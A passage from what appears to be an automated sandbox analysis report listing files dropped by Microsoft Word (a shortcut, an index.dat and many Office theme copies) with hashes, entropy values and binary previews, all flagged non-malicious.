Category:	dropped
Size (bytes):	1169
Entropy (8bit):	4.650156345815601
Encrypted:	false
SSDEEP:	12:81tmBKMUY2QCECHi2D+lXe/8Qwlrls0/KLwTTRlBXE1p/Dkl4jABHSuT1lilGqNQ:8+MLkFV8ElGj/DfAEuTm0Smimfqygm
MD5:	823EC813FA365D15937EC6C6C69A30C6
SHA1:	7C0A891638064939B5AB239F0F1D591EFA5C339A
SHA-256:	38FAD13B644A448C3733E338656495DED28A5D9CAA2DF2778D458815A193C74F
SHA-512:	E07D0DFBBAB81C7CF4CF362E26635D78BCB05D24C57DF46AEA209D682CA736A248D74B7CD00FE22405796B92C4265A1A3B4B26F4CD2AAAB72A72521169B11E15
Malicious:	false
Preview:	L..................F..........B.......T.......T............................._....P.O. .:i.....+00.../C:\...................x.1.....DW(m..Users.d......OwHGY......................:.....NvM.U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....T.1.....GY....user..>......DWSlGY......2........................a.l.f.o.n.s.....V.1.....DWSl..AppData.@......DWSlGY......B.....................Bdg.A.p.p.D.a.t.a.....V.1.....GY....Roaming.@......DWSlGY......C....................../..R.o.a.m.i.n.g.....\.1.....GY....MICROS~1..D......DWSlGY......D......................~..M.i.c.r.o.s.o.f.t.....\.1.....GY....TEMPLA~1..D......GY..GY......*..................... 0y.T.e.m.p.l.a.t.e.s.......b...............-.......a............F.......C:\Users\user\AppData\Roaming\Microsoft\Templates........\.....\.T.e.m.p.l.a.t.e.s...........................>.e.L.:..er.=....`.......X.......921702...........hT..CrF.f4... ...#.....,...W..hT..CrF.f4... ...#.....,...W..............1SPS.XF.L8C....&.m.q............

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.667528533687585
Encrypted:	false
SSDEEP:	3:Hi2XK4m4ORLXK4pnbJlv:H9KdxKSv
MD5:	9436BC6D41560863EE449411DA4C14BC
SHA1:	4619DDCA310C519017E74D4F9285B08C7834C120
SHA-256:	AEC8E3F717A1DFC8768B0D2EF3174D781F1FDC5194D72A8AE3FFB00F6FC5F7B9
SHA-512:	10B5461FB46911C9DA50DFE947E9129E8B51C215D72F6F8A0B0FE6D8B61BC771404402297A298652450B74E4D6EAB9A59DCB2E5EBB4C09FD67ADD81048BF5C58
Malicious:	false
Preview:	[misc]..L-tron_Payroll.LNK=0..[folders]..L-tron_Payroll.LNK=0..Templates.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090430[[fn=Banded]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03090434[[fn=Wood Type]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457444[[fn=Basis]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457464[[fn=Dividend]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457475[[fn=Frame]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457485[[fn=Mesh]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3078052
Entropy (8bit):	7.954129852655753
Encrypted:	false
SSDEEP:	49152:bSEjlpY8skyFHuj2yY0ciM9U2NCVBB4YFzYFw7IaJE2VRK+Xn9DOOe9pp9N9Hu:bfp5sksA3cimUVxV05aJE2fKaDOXdN9O
MD5:	CDF98D6B111CF35576343B962EA5EEC6
SHA1:	D481A70EC9835B82BD6E54316BF27FAD05F13A1C
SHA-256:	E3F108DDB3B8581A7A2290DD1E220957E357A802ECA5B3087C95ED13AD93A734
SHA-512:	95C352869D08C0FE903B15311622003CB4635DE8F3A624C402C869F1715316BE2D8D9C0AB58548A84BBB32757E5A1F244B1014120543581FDEA7D7D9D502EF9C
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457491[[fn=Metropolitan]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457496[[fn=Parallax]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457503[[fn=Quotable]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457510[[fn=Savon]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM03457515[[fn=View]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033917[[fn=Berlin]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Document Themes\1033\TM04033919[[fn=Circuit]].thmx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1463634
Entropy (8bit):	7.898382456989258
Encrypted:	false
SSDEEP:	24576:75MGNW/UpLkupMAqDJhNHK4/TuiKbdhbZM+byLH/:7ZwUpLkulkHK46iiDZHeLH/
MD5:	ACBA78931B156E4AF5C4EF9E4AB3003B
SHA1:	2A1F506749A046ECFB049F23EC43B429530EC489
SHA-256:	943E4044C40ABA93BD7EA31E8B5EBEBD7976085E8B1A89E905952FA8DAC7B878
SHA-512:	2815D912088BA049F468CA9D65B92F8951A9BE82AB194DBFACCF0E91F0202820F5BC9535966654D28F69A8B92D048808E95FEA93042D8C5DEA1DCB0D58BE5175
Malicious:	false
